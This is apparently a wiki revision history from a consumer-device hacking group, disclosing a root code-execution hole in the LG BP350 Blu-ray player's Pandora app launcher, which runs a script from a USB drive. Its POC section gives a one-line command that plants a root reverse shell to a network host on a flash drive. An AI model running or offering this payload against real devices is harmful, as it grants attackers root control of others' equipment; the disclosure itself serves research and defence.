0x00string at 04:42, 6 August 2017

2017-08-06T04:42:05Z

@@ Line 14: / Line 14: @@
 ==App Launcher Script Hijack==
-The LG BP350 includes an optional Pandora Internet Radio App which, once installed, results in a vulnerability caused by the launcher script for pandora checking against paths of volumes which are mapped to USB drives before executing the script at the path on the local filesystem. By creating a script named PandoraApp and placing it in the root of a flash drive and plugging it into the set top box, any arbitrary script can be executed with root privileges.
+The LG BP350 includes an optional Pandora Internet Radio App which, once installed, results in a vulnerability caused by the launcher script, as illustrated below, for pandora checking against paths of volumes which are mapped to USB drives before executing the script at the path on the local filesystem. By creating a script named PandoraApp and placing it in the root of a flash drive and plugging it into the set top box, any arbitrary script can be executed with root privileges.
 ==POC==

Zenofex: Created page with "FORCETOC {{Disclaimer}} 160px Category:Blu-Ray Players =LG BP350= "Enjoy TV shows, movies and more with this LG BP350 Blu-ray player..."

2017-08-05T12:52:21Z

Created page with "__FORCETOC__ {{Disclaimer}} left|thumb|160px Category:Blu-Ray Players =LG BP350= "Enjoy TV shows, movies and more with this LG BP350 Blu-ray player..."

New page

__FORCETOC__
{{Disclaimer}}
[[File:LG_BP350.JPG|left|thumb|160px]]
[[Category:Blu-Ray Players]]

=LG BP350=

"Enjoy TV shows, movies and more with this LG BP350 Blu-ray player, which features built-in Wi-Fi for access to Netflix, YouTube, Hulu Plus and other content. Blu-ray Disc and DVD playback in up to 1080p resolution enables a high-definition experience."

== Purchase ==
Buying devices is expensive and, in a lot of cases our testing leads to bricked equipment. If you would like to help support our group, site, and research please use one of the links below to purchase your next device.
[https://www.amazon.com/LG-Electronics-BP350-Blu-Ray-Player/dp/B00TIAXSDY/ref=as_li_ss_tl?s=electronics&ie=UTF8&qid=1501937453&sr=1-1&keywords=BP350&linkCode=ll1&tag=exploiteers-20&linkId=79d2d5e81593803f0bc89ca5e9d0e485 Purchase the LG BP350 Blu-ray Player at Amazon]

==App Launcher Script Hijack==

The LG BP350 includes an optional Pandora Internet Radio App which, once installed, results in a vulnerability caused by the launcher script for pandora checking against paths of volumes which are mapped to USB drives before executing the script at the path on the local filesystem. By creating a script named PandoraApp and placing it in the root of a flash drive and plugging it into the set top box, any arbitrary script can be executed with root privileges.

==POC==

The following command will add a file to a flashdrive that will spawn a reverse TCP shell, and proceed to execute the pandora app normally.

<pre>printf "/bin/bash -i >& /dev/tcp/172.20.20.20/4444 0>&1; /usr/local/bin/pandora/PandoraApp -qws -display directfb;" > /dev/yourflashdrive/PandoraApp</pre>

LG BP350​​ - Revision history

0x00string at 04:42, 6 August 2017

Zenofex: Created page with "__FORCETOC__ {{Disclaimer}} 160px Category:Blu-Ray Players =LG BP350= "Enjoy TV shows, movies and more with this LG BP350 Blu-ray player..."

LG BP350 - Revision history

Zenofex: Created page with "FORCETOC {{Disclaimer}} 160px Category:Blu-Ray Players =LG BP350= "Enjoy TV shows, movies and more with this LG BP350 Blu-ray player..."